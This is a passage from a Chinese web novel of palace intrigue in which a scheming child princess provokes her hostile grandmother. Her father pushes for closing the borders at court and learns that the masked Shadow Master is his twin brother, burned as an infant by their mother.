到了皇宫,司徒澈把老王送去了御膳房,就赶去了朝堂。 而唐蕊则是带着幻蝶,蹦蹦跳跳去了云华宫! “奶奶,我来看你啦!” 小奶音混合着雨声冲破天际,都喊破音了。 这刺耳的魔音,还在睡梦中的皇后一个哆嗦,睁开了眼睛,心下一阵烦躁:“来人,外面是谁在喊奶奶?” 素锦匆匆而来,脸色难看:“回娘娘,是…昭华郡主!” 姜妃眼底戾气一闪而逝:“她还敢来?” “来了,就在门外!” 素锦话音刚落,那尖锐的小奶音又来了:“奶奶,我来找你玩啦,你不见我吗?我好想你哒,你就一点也不想我吗?皇奶奶…” “吵死了!”姜妃捂着耳朵,有些崩溃:“把她给本宫赶出去!” “把谁赶出去哇!”唐蕊背着小手,老干部似的迈步而来,一屁股挤开素锦,大咧咧的往姜妃床上一躺,惬意的叹了口气:“还是奶奶的床舒服,好软好软哦!” 姜妃脸色阴沉到极点,看唐蕊的眼神像是要吃人似的。 素锦心下一跳,看着追进来的几个宫婢,怒声呵斥:“你们干什么吃的,怎么让郡主进来了?娘娘还没起呢!” 宫婢们看向唐蕊的腰间,有苦说不出:“娘娘,素锦姑姑,奴婢们拦不住啊,郡主她腰上…腰上…” “哦,你们是说这个啊?”唐蕊盘腿坐起,扯了扯腰间挂着的东西。 姜妃定睛一看,眼前一黑。 这…死丫头! 居然、居然把免死金牌挂腰上? 这玩意是这么用的吗? 唐蕊笑眯眯的欣赏着姜妃的表情,生怕气不死她似的,又晃了晃免死金牌,开口说道:“奶奶,虽然我很爱你,但是见金牌如见皇爷爷哦,你是不是应该请个安哇?” “你…” “娘娘!” 素锦冲她摇了摇头,希望她不要冲动! 姜妃深吸一口气,忍下怒火,下床行礼:“臣妾见过陛下,吾皇万岁万万岁!” “起吧起吧!”唐蕊很好说话的样子,拍了拍身边的位置:“奶奶过来坐哇,想继续睡觉觉也行哦,不用这么客气哒,你可是我亲奶奶,就算你不请安,我也不会怪你哦!” “…”那你踏马还让我请安! 姜妃黑着一张脸,站起身来:“来人,更衣!” 被这么一搞,谁还睡得着! 宫婢们赶紧上前,给她穿衣服,又扶着她去妆台前描眉化妆。 唐蕊也不打扰她,坐在一边把玩着免死金牌,嘴里哼着不知名的小调。 如果小辉泽在这里,就能听出,这踏马不是数码宝贝进化时的调调么! 就…好割裂! 姜妃听着唐蕊的声音,就感觉有无数只看不见的小怪兽在她脑子里嗡鸣一样。 忍无可忍! 姜妃愤怒拍桌:“昭华,闭嘴!” 唐蕊止住声音,小嘴一瘪,一包眼泪憋在眼眶里打转。 姜妃眼皮狂跳,刚抬手想阻止,唐蕊就哇的一声哭了出来。 “奶奶凶我,哇呜呜呜…我明明这么乖,这么可爱,这么听话,奶奶为什么要凶我?哇呜呜呜呜…哇呜呜呜呜…” “……”姜妃捂着耳朵,崩溃尖叫:“闭嘴,闭嘴,给本宫闭嘴!” “哇…”唐蕊才不,哭得更带劲儿了。 姜妃要疯了,只觉这哭声如同一把把尖锐的针,不断地刺向她的脑袋,头疼欲裂! 她的理智正一点点被这哭声吞噬,整个人在崩溃的边缘疯狂试探。 可那哭声却丝毫没有要停下的迹象。 一屋子宫婢噤若邯郸! 素锦也快疯了,赶紧来到唐蕊面前,耐着性子安抚:“小郡主,别哭了,姜妃娘娘头很痛,你不是最乖了吗?对不对?” “不听不听我不听,奶奶讨厌我,哇…”唐蕊扯着嗓子继续嚎。 素锦把她完全没办法! 姜妃气得都快炸了,咽下一口老血,努力想让自己冷静下来安抚这个小魔女。 可说出来的话,却还是带着一丝咬牙切齿的意味:“本宫,不讨厌你,你别哭了!” 唐蕊心里的小人都快笑岔气了,很给面子的降低了一下分贝,一抽一抽巴巴的看着她,脸上还挂着泪珠呢:“呜呜呜…真的吗?奶奶真的不讨厌昭华吗?” “不讨厌!”才怪! 姜妃恨不得拿把刀把这小魔女大卸八块! 唐蕊擦掉眼泪鼻涕,跑到她面前,用那双刚擦了鼻涕的手抓住她的衣袖:“昭华相信奶奶,奶奶,昭华肚肚饿了。” 第207章 杀了她,本宫要她死 “…”怎么不饿死你呢? 姜妃扫了一眼自己的衣袖上的不明液体,一个没忍住,捂着嘴跑了出去。 “娘娘,娘娘…”素锦心疼坏了,赶紧追了出去! 姜妃刚睡醒,没吃东西,吐了半天就吐出来一些酸水。 素锦心疼坏了:“娘娘,奴婢去给您请太医吧!” “不!”姜妃抓住她的手,咬牙切齿低吼道:“杀了她,本宫要她死!” “娘娘!”素锦小心翼翼看了一眼屋里,见唐蕊似乎没听到,这才放心下来劝她:“娘娘冷静啊,这昭华郡主邪门得很,芙蓉殇都没要了她的命,此事得从长计议啊!” “闭嘴,本宫就要她死,你想办法,不管如何都要杀了她!”姜妃本就不喜欢唐蕊,现在更是对她恨到了极致。 这个死丫头,分明就是故意的。 “娘娘!” “本宫让你闭嘴!” 姜妃怒不可遏,反手甩了她一个大逼兜子。 素锦咬了咬唇,不敢再劝。 姜妃危险的眯起眼眸:“办不到,本宫就宰了你!” “是…奴婢…奴婢这就去想办法!” 说是想办法,可素锦一离开云华宫后,立刻找了个可靠的宫婢,让她去找司徒霄。 昭华郡主聪慧,谁都看得出来她是故意的。 这分明是一个圈套,她不能让姜妃往圈里跳啊! 可司徒霄现在哪里有空。 朝堂上,早就跟皇帝‘勾肩搭背’的司徒澈,人模狗样的站了出来,提出闭关锁国。 果不其然,此事遭到了文武百官强烈反对。 不光是太子党,这次连很多保皇党都没站在他这边。 就连决定力挺司徒澈的辰王都紧皱着眉,不明所以的看着他,实在搞不懂他为什么要提出如此愚蠢的建议! 睿王还小声跟襄王咬耳朵:“老七终于疯啦?” 襄王:“…”我也觉得疯了,可是没证据。 司徒澈也不着急,先是把这段时间陈将军传来的信件拿出来,给文武百官一一过目,让他们清楚逍遥丸的危害! 然后才说出那三种食物! 文武百官自然是不信的,这世上哪有比水稻产量高几倍的东西? 接下来就是御厨们捧着一盘盘三种食物各种烹饪方式上场了。 好好一个早朝,硬是变成了文武百官品尝大会! 还别说,味道挺好的,不亚于他们吃过的山珍海味。 皇帝全程没有表态,高坐在龙椅上。 尝过食物的保皇党顿时悟了:感情皇上早就跟璃王商量好了的。 不过,想想也是。 闭关锁国虽然不能与外界接触,将大夏完全孤立,但也是对大夏的一种保护。 想要防止逍遥丸流入大夏,关闭国门确实是最好的办法! 保皇党们互视一眼,达成默契,纷纷改口支持。 司徒霄脸都黑了。 要知道聚贤阁可不是只有京城才有,东临和北狄都有分店。 更别说那些开在别国的其他店铺。 这是把他总店搞没了,又要搞分店的节奏吗? 他现在的财路,可都指着这些铺子了。 司徒霄不干了,当即出列,言辞反对。 太子一党见他表态,也纷纷跟风。 一时间,朝堂上又吵成一团。 或许是司徒霄的态度太过坚决,太子一党的态度也越发刚硬。 一时间,还真敲不定主意! 皇帝知道闭关锁国是大事,也不急着下决定,就让两拨人唇枪舌剑,自己坐在高位看热闹。 司徒霄脸红脖子粗,司徒霄也振振有词。 哈哈… 难得看到小七对某件事这么上心的。 行吧,就让太子继续拉拉仇恨,两人最好早点撕破脸。 争执一上午,还是无果。 皇帝欣赏够了宝贝儿子的语言艺术,冷着脸退朝,心里的小人儿都快笑岔气了。 司徒澈也是醉了,无奈的看了亲爱的父皇一眼,默默垂下眼眸。 皇帝的意思他何尝不知,但…一动司徒霄,势必牵扯出姜妃。 那可是他亲娘,难不成,哪天他还要亲手送老娘上路么? 就算他能背负这样的骂名,皇帝呢? 他就允许自己动心爱的女人? 下朝后,几个兄弟围过来时,他也没多说什么,只让几个兄弟安心。 司徒霄就不一样了,冷冷的瞪了他一眼,阴阳怪气道:“七皇弟好志向,闭关锁国,你是真不怕司徒家的江山狼烟四起啊!” 司徒澈淡淡回怼:“有皇弟在呢,就算起了,也不劳太子皇兄操心啊!” 杀人诛心! 明知道司徒霄的短板,偏偏还往这里戳。 司徒霄指了指他,咬牙切齿道:“不管如何,孤都不会由着你胡来!” 司徒澈耸耸肩,一副死猪不怕开水烫的吊样:“太子皇兄,你的话还不是圣旨呢,说了又不算!” “你…哼!”司徒霄懒得跟他呈口舌之快,黑着脸离开大殿。 刚一出去,早就守在外面的宫婢赶紧跑了过来:“太子殿下,您快去云华宫看看娘娘吧,娘娘被昭华郡主气着了。” 司徒霄眉头微蹙:“昭华?她也进宫了?” “是啊…”宫婢简单说了一下事情经过,司徒霄几乎一下子就猜到昭华打的什么主意,犀利的看向司徒澈:“七皇弟,你家昭华这是作甚?” 司徒澈故作不懂:“没作甚啊,昭华说她想奶奶了,本王这不就带她进宫了么!” 司徒霄:“…”老子问的是这个吗? 你踏马故意让昭华去激怒母妃,安的什么心啊你! 司徒霄冷声提醒:“七皇弟,母妃不仅是孤的母妃,也是你的母妃!” 司徒澈眨眨眼,和唐蕊装傻的时候一样一样的:“太子皇兄,你这话本王就听不懂了,昭华是母妃嫡亲的孙女,还不能进宫看望她吗?母妃也是,昭华不就是饿了么,怎么连一口吃的也不给?唉…本王的昭华啊,实在太可怜了!” “…”每次真司徒霄说话,都会被他气死! 司徒霄一步一步来到他面前,咬牙切齿低声道:“七皇弟,你打的什么主意,你自己心里清楚。孤劝你,可别学错了路!” 司徒澈一脸无辜:“太子皇兄,你在说什么?本王听不懂哦!” 第208章 魔音穿耳 “…”该说的都说了,司徒澈还是油盐不进。 司徒霄冷冷的看了他一会,不再多说,转身离开。 本是同根生,到底为什么会走到这一步? 这个念头在司徒霄脑中闪过,下一刻又被他扔出了脑海。 高处不胜寒,要坐那个位置,注定得当个孤家寡人! 就让司徒澈再嘚瑟一段时间吧,总有一天,他要亲手杀了这个讨人厌的弟弟! “太子不会同意闭关锁国的。”辰王来到司徒澈身边,看着司徒霄的背影如此说道。 睿王也凑了过来,没好气的白了渐行渐远的司徒霄:“他同不同意有用么,他说了又不算。” “就是就是!”襄王笑眯眯道:“咱们找个地方喝一杯?” 司徒泽举爪:“就去七哥家吧,我想小侄儿了。” “你们没懂本王的意思!”辰王皱眉道:“太子最近手头很紧,就指着东临与北狄的铺子了,要是闭关锁国,那就彻底断了他的财路,你们觉得,他会答应?” 司徒澈危险的眯起眼眸:“不会,他肯定会想尽办法阻止。” “没错!”辰王点了点头,淡声提醒司徒澈:“别忘了祭天的事,太子其实没那么愚蠢。七弟,你可别轻敌。” 司徒澈点头:“多谢三哥提醒!” 司徒泽不喜欢讨论这些事:“哎呀,只要咱们兄弟几个齐心,我就不信还斗不过一个太子。哥哥们,去七哥府里喝一杯?最近下雨,都没地方玩,可把我憋坏了。” “就知道玩儿!”睿王嫌弃的瞥了他一眼:“都有王妃的人了,怎么还这么不靠谱!” 司徒泽没好气道:“那五哥你别去。” “凭什么?”睿王不干了:“你们都去玩,我不去多不合群!” 襄王凉凉道:“还说小九不靠谱,我看五哥也差不多啊,刚刚我看你可是一个人吃光了一盘那什么…哦对了,干煸土豆丝,是没吃够吧?” “…”啊咧,被发现了? 睿王老脸一红,有些气急败坏:“你还说我?你不也吃了三个烤红薯!” 襄王:“…”我不是用袖子挡住的么,怎么还是被你发现了? 辰王看着弟弟们斗嘴,轻笑出声,心情也好了不少。 司徒澈笑道:“好好好,去我府上,你们先走,我去接昭华。” … 云华宫! 唐蕊算算时间,差不多下朝了,终于起身告辞了。 没办法,姜妃想刀她的眼神都不藏了,她真怕把姜妃气死。 这不,她刚说走。 姜妃直接一句:“给本宫滚!” “!!”嘿?喊我滚? 唐蕊小嘴一瘪,泪眼花花的看着她,一副随时哭出来的架势。 姜妃看她这样眼皮直跳。 素锦赶紧接过话来:“小郡主,娘娘跟您开玩笑呢,其实娘娘可喜欢你了。” 唐蕊眼睛布灵布灵:“真滴吗?” 素锦呵呵:“当然是真的!” 唐蕊得寸进尺,又巴巴的看向姜妃:“奶奶,你真滴喜欢我吗?” 姜妃闭眼,深呼吸,咬牙切齿说了一个字:“是!” 她是真的怕了唐蕊的魔音穿耳了! 然而… “我就知道,奶奶可是昭华的亲奶奶,怎么会不爱昭华呢!奶奶,昭华也喜欢你哦,明天我再来看你哈,拜拜拜拜,奶奶再见!”唐蕊挥舞着小手,带着幻蝶一步三回头依依不舍的离开了。 姜妃听到这话都懵了,等唐蕊走了好久,才猛吸一口气,拂袖把茶杯挥到地上怒吼出声:“这个小贱人!你听到没有?你听到没有?她说她明天还要来,她分明就是故意的!” “娘娘息怒啊!”素锦也是醉了,完全把唐蕊没办法:“大不了明天奴婢紧闭殿门,不让她进来就是了。” 姜妃一脸狰狞,拍着桌子崩溃吼道:“本宫说了,要她死!她必须死!” 素锦把暴怒的姜妃没办法,只能让人再去催司徒霄。 … 离开了的唐蕊都还能隐隐听到姜妃的怒吼声。 幻蝶笑道:“郡主,姜妃快要被您气死了。” 唐蕊撇撇嘴:“谁知道她那么不经事,要不是看她快被气死了,我才不走呢!” 幻蝶闻言一愣:“气死了不是皆大欢喜吗?” 唐蕊无奈道:“你记住,姜妃只能由皇爷爷来杀,我们不能动她,知道不?” 幻蝶不懂:“为何?” “…”因为拿不准皇帝的意思啊! 不然早就让赤赤咬姜妃一口了。 唐蕊:“反正你记住我的话,姜妃可以死,但不能跟我们扯上关系!” 幻蝶似懂非懂的点了点头,刚一抬头就看到了一个熟人:“郡主,那好像是陈姬!” “嗯?”唐蕊抬眸看去,眉头微蹙。 陈姬一身淡青色素衣,头上也没什么装饰,站在那一副扶风弱柳,楚楚可怜的样儿。 啧… 这长得真是… 要不是提前知道这是个真爷们,唐蕊都要误会了。 也不知道司徒霄去哪儿找的这样的极品,太阴柔了。 她不喜欢这一款,还是喜欢司徒澈那种,可以雌雄莫辨,但一定要有薄肌,有男子气概! 幻蝶皱眉道:“也没带下人,好像是在等人,不会是等太子吧?” “应该是,她不是怀孕了嘛?都没听到过风声!”唐蕊眼珠子一转,拉着幻蝶躲到了旁边一棵大树后面:“咱们看看啥情况!” 幻蝶点点头,静观其变! 没一会儿,两人就看到司徒霄匆匆而来。 陈姬看到司徒霄,赶紧迎了上去:“殿下!” 司徒霄看到她反射性蹙眉:“你怎么还在这?孤不是让人送你出宫寻访名医?” “殿下!”陈姬扑进他怀里,手指在他胸口画着圈,娇滴滴的声音刺激得唐蕊都起了一身鸡皮疙瘩:“你不要妾身了吗?” 司徒霄握住他的手,神色有些无奈:“孤不是不要你,只是你这肚子…阿离,御医都说你有孕,但你也知道,你根本就不可能有孕。” “那些都是庸医,妾身就是积食了而已…”陈姬媚眼如丝,环着司徒霄腰身的手也开始不规矩了,慢慢往下滑:“再说了,殿下怎么不见有孕呢…” 司徒霄气笑了,捏着她的下巴:“胆子越来越大了,嗯?” 第209章 这皇宫…真是脏污纳垢的鬼地方 “这里又没人,殿下就不想试试不一样的?”陈姬太了解司徒霄了,见他这样就知道有戏,干脆壮着胆子继续… 司徒霄闷哼一声,抓住她的手,二话不说把人扯进了一旁的假山。 哇哦! 哇哦! 哇哦! 现场直播! 唐蕊双眼放金光! 幻蝶早就羞红了脸,见唐蕊还要过去偷听,赶紧拦住她,红着小脸一本正经:“郡主,别过去,污了您的眼睛!” “不污不污,你就在这等着哈,我去瞅瞅,就瞅一眼!”唐蕊才不要放过这样的机会。 幻蝶坚决不干,见拦不住,干脆抓住了她的衣服后领:“郡主,下朝很久了,咱们再不走王爷就该找来了。” “不嘛不嘛,我想康康~”唐蕊手脚并用,特别想看。 “不,您不想!”幻蝶不准,扯着她后领强硬的把人拖走。 唐蕊泪眼汪汪:“我的现场直播!” 幻蝶听不懂,反正她是不会让唐蕊去看那些脏东西的! “…”百年难得一遇啊啊啊! 走远了,唐蕊气鼓鼓的看着幻蝶。 她就不该带着这个会点拳脚的丫头,应该带手无缚鸡之力的容嬷嬷。 幻蝶也很无语,怎么感觉自家郡主三观有点不对头的样子。 都怪司徒霄这个人渣教坏孩子。 怕唐蕊长歪了,幻蝶还是语重心长劝道:“郡主,等你再长大些,容嬷嬷会教你这些的。还有,奴婢哪怕没念过书,也知道阴阳调和才是天理正道,司徒霄此举,有违人伦,是不对的!” “…”要你说哦,我就是看个热闹而已。 唐蕊撇撇嘴:“知道了知道了!” 幻蝶:“…”你确定吗? “影主,你在不在?”唐蕊突然对着空气喊了一声。 话音刚落,黑影如鬼魅般出现在唐蕊面前,单膝跪地,眸色沉稳,银色面具泛着冰冷的光。 这还是唐蕊第一次看到影主,虽然带着面具,但那双眼睛… 唐蕊一边打量着他,一边说道:“陈姬有问题,你既是影主,能不能找个龙隐卫盯着他?” “郡主何出此言?”影主沉吟片刻,才开口说道。 他的声音有些沙哑,就像是嗓子受过伤一样,但却不难听。 幻蝶也很疑惑:“是啊郡主,你怎么知道陈姬有问题?” 唐蕊没好气道:“一个太医医术有问题,难道所有太医医术都有问题?太子知道陈姬不可能怀孕,不会只找一个太医给她看,太医们都这么说,陈姬还是不信,你们觉得可能吗?” “这…”确实! 陈姬又不是听不懂人话,怎么就不信太医呢? 唐蕊摸着下巴,继续道:“正常人都会相信太医的话,并收拾东西麻溜的离开,去民间寻访那些妇科圣手找自己的病因。陈姬却反其道而行,只能说明,她有不得不留下来的理由!影主,你觉得她不得不留下来的理由是什么?” “属下明白了,会找人盯着陈姬。”影主言罢几个闪身消失在原地,就好像从来都没出现过一样! 幻蝶皱了皱眉:“郡主这么一说,确实很可疑。” 唐蕊没有说话,盯着影主消失的方向若有所思。 那双眼睛,真的好像哦! “郡主,在想什么?”幻蝶见她发呆,开口问道。 “没…”唐蕊终于想起来像谁了,心里掀起一阵惊涛骇浪。 这皇宫…真是藏污纳垢的鬼地方! 每次来都感觉好窒息! “走吧走吧,爹爹一会儿真要找来了。”如非必要,真是不想来这鬼地方! 唐蕊离开后宫,在正华门遇到了司徒澈,立刻小跑过去,抱着他不撒手了。 “怎么了这是?”司徒澈抱起女儿:“母妃欺负你了?” “不是!”唐蕊闷闷摇头,都不知道该不该告诉他。 司徒澈也知道这里不是说话的地方,只能先带她离开。 马车上唐蕊一直都心不在焉,司徒澈询问几次都无果,心里不免有些担忧! … 司徒澈带着唐蕊去上朝,回来后屁股后面跟了一溜串王爷。 秦芷嫣赶紧让膳房准备好酒好菜,司徒澈也只能歇了询问的心思,打算等应付完几个兄弟后再找个机会好好跟唐蕊聊聊。 晚饭唐蕊破天荒的没吃多少,跟几个王爷告辞后,就回到了翠微阁,抱着小团子发呆。 窗外雨声不断,容嬷嬷还在嘀咕:“这雨也不知道什么时候能停!” 幻蝶也道:“是啊,再不停,该闹灾了。” 唐蕊呆呆的看着外面大雨倾盆,脑子浮现的依旧是影主那双眼睛。 “啊哦…”小团子终于醒了,入眼就是亲爱的长姐,咧着小嘴冲她傻笑。 唐蕊捏了捏他的小鼻子:“饿了吗?” “啊呀啊呀…”饿啦,想喝奶奶! 唐蕊笑了笑,叫来奶娘,把孩子递给她去喂奶。 片刻后,小团子吃饱喝足,又回到了唐蕊怀中。 唐蕊抱着小团子进了内室,屏退众人,这才开始盘问:“影主到底是谁?” “呃…”小团子眼底划过一丝无奈。 老姐,我倒是想告诉你,可我这说不了话呀! 唐蕊看他这小眼神,就知道自己的猜测没有错,心里更不是滋味了:“爹爹不知道吧?我该告诉他吗?” “呀哒…哒…”小辉泽挥舞着小拳拳抗议。 告诉他干嘛,徒增烦恼! 皇室就是这样的,习惯就好了。 他知道这事的时候,心里也很不适,可又有什么办法? 再说了,人家当事人都认命了! 唐蕊摸着下巴想了想,还是说道:“还是该告诉爹爹,我心里有一种感觉,影主应该知道点皇帝和姜妃之间怎么回事。” “…”这么说也对! 反正上辈子他到死都不知道皇帝跟姜妃之间是个什么情况。 小辉泽艰难的点了点头:“阿呀…啊呀哦…” 想说就说吧老姐,咱们老爹年轻,被刺激一下也嘎不了。 主要是他也挺好奇的。 在现代念高中的时候,他也有暗恋的女孩子,自然知道一个男人喜欢一个女人的时候,眼神是什么样的。 可皇帝对姜妃的态度,就很迷! 第210章 真没有吗?八弟! 姐弟俩商量一番后,唐蕊还是决定告诉司徒澈。 于是,等司徒澈送走了几位兄弟,回到书房后,就看到唐蕊正坐在他的书桌前,撑着脑袋昏昏欲睡。 清风无奈:“小郡主刚刚就来了,说有重要的事告诉你。属下让她回去睡,她也不听!” “下去吧!”司徒澈刚一开口,就惊醒了唐蕊。 看到司徒澈,唐蕊眼睛一亮:“爹爹,王叔们走啦?” “嗯!”司徒澈把雨伞递给清风,这才进屋:“清风说,你有事要跟我说?” 唐蕊点点头,跳下椅子,把书房门关好,这才拉着他往里走。 司徒澈好笑道:“什么事啊,神神秘秘的。” 唐蕊蹲下身,还把他也拉了下来,这才小声道:“爹爹,我先问问哦,皇爷爷就你们几个儿子吗?大皇叔就算了,我听说过他的事,那八皇叔和十皇叔呢?” “这…”司徒澈回忆了一下才道:“八弟的事我也不是很清楚,那个时候我还小,长大一些后听身边的宫人说,他刚生下来就夭折了。至于小十,他五岁的时候生了一场大病,就这么去了。” 唐蕊懂了:“所以,你亲眼看到十皇叔没了,却没亲眼见过八皇叔?” “对,十弟是李嫔娘娘的孩子,十弟走了,李嫔娘娘郁结难舒,没多久也跟着去了。至于八弟,听宫人们说,他是一个洒扫宫女的孩子,跟本王年岁相仿!” 司徒澈点头,戳了戳她的脑瓜子:“小丫头,问这些做什么?” “…”得了,破案了。 唐蕊眼神复杂,善意提醒:“爹爹,你没见过影主吗?” 司徒澈:“见过,可他常年带着面具,本王也看不到他的脸啊!” 唐蕊再接再厉:“那你就没想过,掀了他面具仔细瞅瞅?” “龙影卫影主的真容只有父皇能看!” 司徒澈扶额,有些一言难尽:“你不会又想怂恿我篡位吧?闺女,咱就是说,真没这个必要的!” “…”我在你心里这么大逆不道的嘛? 唐蕊眼尾抽了抽,继续提醒他:“爹爹,你就没发现影主的眼睛长得很熟悉吗?” “唔…”司徒澈摸着下巴想了想:“好像…是挺熟悉的…” 反正他第一次见影主,就觉得面善。 唐蕊:“…” 该聪明的时候不聪明,不该聪明的时候你比谁都聪明。 她的提示还不够明显吗? 唐蕊捂脸,放弃抢救,干脆直言:“爹啊,你就没发现影主的眼睛,长得跟你很像吗?” “对哦,是跟本王…”司徒澈说到一半,后知后觉反应过来,看着唐蕊的眼神逐渐惊恐:“你…你是说…” 唐蕊拍了拍他的肩,语重心长道:“爹啊,如果我没猜错,奶奶生你的时候,应该多生了一个!” 司徒澈:“??” 司徒澈:“!!” 司徒澈:∑(°口°?) 不是,怎么就多生一个了? 唐蕊继续道:“我确定以及肯定,皇爷爷根本就不喜欢奶奶,要不…你去找影主好好谈谈?我觉得他应该知道点什么!” “这…这…”司徒澈这个人都凌乱了! 他做梦都不敢往这方面做的,更别说往这方面想了。 “算了,你还是先消化一下叭!”唐蕊一脸同情,起身离开,把空间让给被雷劈了的爹。 … 大雨依旧,空中不时划过电弧,短暂的照亮天地,很快又归于黑暗。 司徒澈把自己关在书房很久很久… 又是一道电弧划过天空,司徒澈终于拉开了房门。 雷光照亮了他俊美又冷凝的脸,黝黑的眸子翻滚着复杂的情绪。 “爷…”清风见他离开书房,正要跟上,司徒澈却摆了摆手:“本王要一个人走走,不用跟着。” “是!”清风停住脚步,心下狐疑。 郡主到底跟爷说了什么?怎么感觉爷很不对劲儿呢? 司徒澈一步一步走入雨中,修长的背影消失在漫漫雨雾里。 轰隆~ 一声巨响! 翠微阁! 唐蕊闺房屋顶上,男人盘膝而坐,双眸紧闭,不动如钟! 雨水顺着银色面具滴落而下,他的身躯稳如泰山,仿佛与这天地间的狂风暴雨融为一体。 早已躲到屋檐下的明月优雅的翻了个白眼,小声嘀咕了一句:“真是郡主说的那什么…装比犯!” 他是真不喜欢这人,跟他说话不搭不理,高傲得一比! 这么大的雨,都让他下来了,他还是傻杵在屋顶淋雨。 明月盘腿坐下,宝贝似的的把身边的陶罐抱了起来,继续自言自语:“血也喂了,难道是尿不够?” 陶罐微微晃动,似乎在抗议。 “真是尿不够?你等着!”明月眼睛一亮,立刻抱着它飞身离开。 他要去找清风多要点童子尿! 至于这里,反正有个装比犯守着,离开一小会儿问题不大! 他自己倒是想亲自尿,但他没有以前的记忆,也不知道自己是不是童子。 明月刚离开没多久,一道身影踏着雨色跃上屋檐,稳稳的落在影主身边。 影主睁开眼眸,立刻起身单膝跪下,动作无比熟练。 司徒澈缓缓蹲下身,盯着他的眼睛:“你…有没有什么话想对我说?” 影主摇头,与他相似的眼底没有半分情绪。 司徒澈眼神复杂,沉吟良久,又才开口:“真没有吗?八弟!” 影主闻言一愣,诧异的看着他。 “…”终于像个人了。 司徒澈干脆坐下了,还拉着他也坐下:“还不说?” 影主抿了抿唇,垂下眼眸,隔了好久,才暗哑着嗓子道:“没什么好说的。” 司徒澈皱眉道:“你不说清楚,我只会胡思乱想,是不是父皇…” “不是!”影主打断他的话,沉默了很久很久,终是叹息一声,看着漫天大雨:“是父皇,救了我…” 姜妃生产之前,不知为何,有些疯魔了。 时而正常,时而不停捶打着自己的肚子。 具体什么情况,影主也不知道,他只知道,皇帝当时不放心姜妃,派了很多宫人守着。 千防万防,还是没防住姜妃发疯,趁宫人们不注意,撞墙自尽。 皇帝带着太医们匆匆赶来,可已经晚了。 姜妃没了呼吸! 第211章 荣登大宝,为我做主 皇帝痛彻心扉,只能让他们保住孩子。 几个稳婆齐齐上阵,可姜妃已经没了呼吸,孩子根本就生不下来。 最后皇帝也顾不上男女大防了,让太医们全都进去。 太医们商量一通,只能剖腹取子。 可这时,本来已经死去的姜妃又恢复了心跳,配合着开始产子。 最后,她很幸运的生下一对双胞胎。 司徒澈是哥哥,影主是弟弟。 本来皇室很忌讳双生子的,可皇帝喜欢姜妃,也铁了心要保住两个孩子,还打算把当晚所有接生的温柔太医全都灭口。 只是他还来不及行动,姜妃又疯了。 再次清醒后,姜妃支走了下人们,抱起还在襁褓里的影主,狠心的把他扔进了火盆! 火苗烧坏了他的衣服,小小的影主哇哇大哭。 恰巧这个时候,皇帝来了。 一进来看到的就是姜妃抱起了另一个孩子,也就是司徒澈,想把他也扔进火盆! 皇帝震怒,抢下司徒澈,又赶紧把小小的影主从火盆里捞了起来。 … 影主说到这,拿下面具,并扯开了衣服。 司徒澈定睛一看,一股怒火直冲天灵盖! 只见影主一半脸完好无损,与他一模一样。 而另一半脸,却坑坑洼洼,犹如厉鬼! 他身上更是难看,左边好好的,右胸往下全是烧伤后的痕迹。 司徒澈怒道:“父皇就这么放过她了?” “我…也说不清楚…”影主垂下眼眸,继续陈述着曾经发生的事:“那天过后,父皇就干脆把我交给上一任影主,也就是我的师傅。他后来告诉我,母妃醒来后又恢复了正常,可我记事的时候,她清醒的时间却越来越少…” 司徒澈皱眉道:“有吗?我每次见母妃,她都很正常!” “那是父皇没让你看到她疯癫的样子,我不同,我是影卫…” 影主说到这里,自嘲一笑:“那段时间,父皇派师傅亲自盯着母妃,我也跟着师傅,经常能看到她发疯的样子…” 司徒澈沉默了,良久才道:“后来呢?” “四岁的时候,母妃把父皇叫到宫中…” 影主说到这顿了顿,眼底划过一丝复杂,还是决定不告诉司徒澈来龙去脉。 这样的事太匪夷所思,皇帝也特意叮嘱过他,不要往外说:“父皇和母妃不知道怎么了,吵了起来,母妃还点燃了宫殿,想要跟父皇同归于尽。” 司徒澈:“…这就是凤雏凤仪宫起火的原因?” “嗯!”影主点了点头:“哪怕救火及时,还是死了不少人,凤仪宫也毁于一旦。” 司徒澈:“就这样?” 你当我是三岁小孩,那么好骗? 那些被烧死的宫人都是傻子,不知道跑的? 以前从没细想过,可现在想想,这事从上到下都透着古怪! “就是这样!”影主系好衣服,重新带上面具,一副不准备再多说的样子。 司徒澈知道撬不开他的嘴了,准备离开。 临走之前,他还是觉得不甘,替影主不甘,问出了最后一个问题:“你不恨她吗?你本龙子,是我的亲兄弟,就算无缘那个位置,也能做个闲散王爷逍遥一生,如今却落得这样的下场!” 司徒澈定定的看着他:“你就不恨她吗?” “…”怎么可能不恨呢! 影主轻声道:“所以我在等!” “等?”司徒眉头微蹙:“等什么?” 影主勾唇一笑,笑看着他,与司徒澈如出一辙的眸子里隐隐有光:“父皇是不会杀了她的!我在等,我的哥哥,荣登大宝,为我做主!” “哥哥一定会的!”司徒澈拍了拍他的肩,有些用力,眼神从未有过的坚定。 这个皇位,他必须要争! 待到上位那天,就是姜妃的死期! … 大雨一直没有停! 司徒澈回去后,却没有休息,把自己关在书房整整一晚。 天刚蒙蒙亮的时候,司徒澈穿戴整齐,带着同样准备好的唐蕊入了宫。 今日的朝堂上,还是昨日的话题——闭关锁国! 保皇党与太子党依旧吵得不可开交! 不同于以往,司徒澈一点面子都不给司徒霄留了。 就在司徒霄严辞列出十七条闭关锁国的后果之后,司徒澈轻笑一声,毫不掩饰眼底的讥讽之色:“太子不赞同闭关锁国,无非就是担心财路尽断,何必说得如此冠冕堂皇?” 司徒霄噎了一下,恼羞成怒:“七皇弟,你这是污蔑,孤…” “是不是污蔑你心里清楚!”司徒澈打断他的话,眉宇间有些不耐:“真想证明自己,就把北狄和东临的铺子都关了呗,你敢吗?” 司徒霄语塞,颤抖的指着他,却说不出一句反驳的话来。 “不敢还扯什么污蔑?一国储君,不想着社稷百姓,反而只顾着自己那一亩三分地,太子若是做不来这个太子,还不如趁早退位让贤!” 司徒澈说罢,不顾气得浑身发抖的太子,和不停抽气的朝臣,往前一步,朝皇帝拱手道:“父皇,儿臣恳求父皇怜悯苍生,闭关锁国,免受逍遥丸侵害。若父皇执意轻信太子,那不如就让太子去镇守边城吧!反正…太子也闲得很!” 皇帝:“…” 朝臣们:“!!” 气得直翻白眼的司徒霄:“!!” 今儿个司徒澈是吃错什么药了,如此激进。 不光当众让司徒霄退位让贤,还威胁起皇帝来了。 辰王眼皮直跳,怕皇帝发火,赶紧出列:“父皇,七皇弟也是情急之下口不择言,还望父皇看在他一心为国为民的份儿上,不要怪罪!” 襄王也赶紧开口:“是啊父皇,那逍遥丸如此可怕,一旦流入大夏,后果不堪设想啊!” 